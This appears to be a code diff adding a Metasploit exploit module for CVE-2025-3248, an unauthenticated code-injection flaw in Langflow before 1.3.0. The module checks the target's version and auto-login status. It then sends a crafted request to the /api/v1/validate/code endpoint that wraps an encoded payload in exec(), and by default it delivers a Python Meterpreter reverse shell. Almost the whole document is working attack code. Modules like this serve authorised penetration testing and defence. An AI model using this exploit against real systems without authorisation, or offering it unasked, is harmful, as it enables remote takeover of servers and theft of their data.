|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Langflow AI RCE', |
| 17 | + 'Description' => %q{ |
| 18 | + Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. |
| 19 | + A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. |
| 20 | + }, |
| 21 | + 'Author' => [ |
| 22 | + 'Naveen Sunkavally (Horizon3.ai)', # Vulnerability discovery and PoC |
| 23 | + 'Takahiro Yokoyama' # Metasploit module |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => [ |
| 27 | + ['CVE', '2025-3248'], |
| 28 | + ['URL', 'https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/'], |
| 29 | + ], |
| 30 | + 'Platform' => ['python'], |
| 31 | + 'Arch' => [ ARCH_PYTHON ], |
| 32 | + 'Targets' => [ |
| 33 | + [ |
| 34 | + 'Python payload', |
| 35 | + { |
| 36 | + 'Platform' => 'python', |
| 37 | + 'Arch' => ARCH_PYTHON, |
| 38 | + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } |
| 39 | + } |
| 40 | + ] |
| 41 | + ], |
| 42 | + 'DefaultTarget' => 0, |
| 43 | + 'Payload' => { |
| 44 | + 'BadChars' => '"' |
| 45 | + }, |
| 46 | + 'DisclosureDate' => '2025-04-09', |
| 47 | + 'Notes' => { |
| 48 | + 'Stability' => [ CRASH_SAFE, ], |
| 49 | + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], |
| 50 | + 'Reliability' => [ REPEATABLE_SESSION, ] |
| 51 | + } |
| 52 | + ) |
| 53 | + ) |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + Opt::RPORT(7860), |
| 57 | + ] |
| 58 | + ) |
| 59 | + end |
| 60 | + |
| 61 | + def check |
| 62 | + res = send_request_cgi({ |
| 63 | + 'method' => 'GET', |
| 64 | + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') |
| 65 | + }) |
| 66 | + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 |
| 67 | + |
| 68 | + json_version = res&.get_json_document&.fetch('version', nil) |
| 69 | + return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version |
| 70 | + |
| 71 | + version = Rex::Version.new(json_version) |
| 72 | + return Exploit::CheckCode::Unknown('Failed to get version.') unless version |
| 73 | + |
| 74 | + return Exploit::CheckCode::Appears("Version #{version} detected. Which is vulnerable even if authentication is enabled.") if version < Rex::Version.new('1.3.0') |
| 75 | + |
| 76 | + # check if auto_login is enabled or not |
| 77 | + res = send_request_cgi({ |
| 78 | + 'method' => 'GET', |
| 79 | + 'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login') |
| 80 | + }) |
| 81 | + return Exploit::CheckCode::Appears("Version #{version} detected and authentication is disabled. Which is vulnerable.") if res&.code == 200 |
| 82 | + |
| 83 | + Exploit::CheckCode.Safe("Version #{version} detected and authentication is enabled. which is not vulnerable.") |
| 84 | + end |
| 85 | + |
| 86 | + def exploit |
| 87 | + res = send_request_cgi({ |
| 88 | + 'method' => 'POST', |
| 89 | + 'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'), |
| 90 | + 'headers' => { 'Content-Type' => 'application/json' }, |
| 91 | + 'data' => { |
| 92 | + 'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n pass" |
| 93 | + }.to_json |
| 94 | + }) |
| 95 | + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res |
| 96 | + end |
| 97 | + |
| 98 | +end |
0 commit comments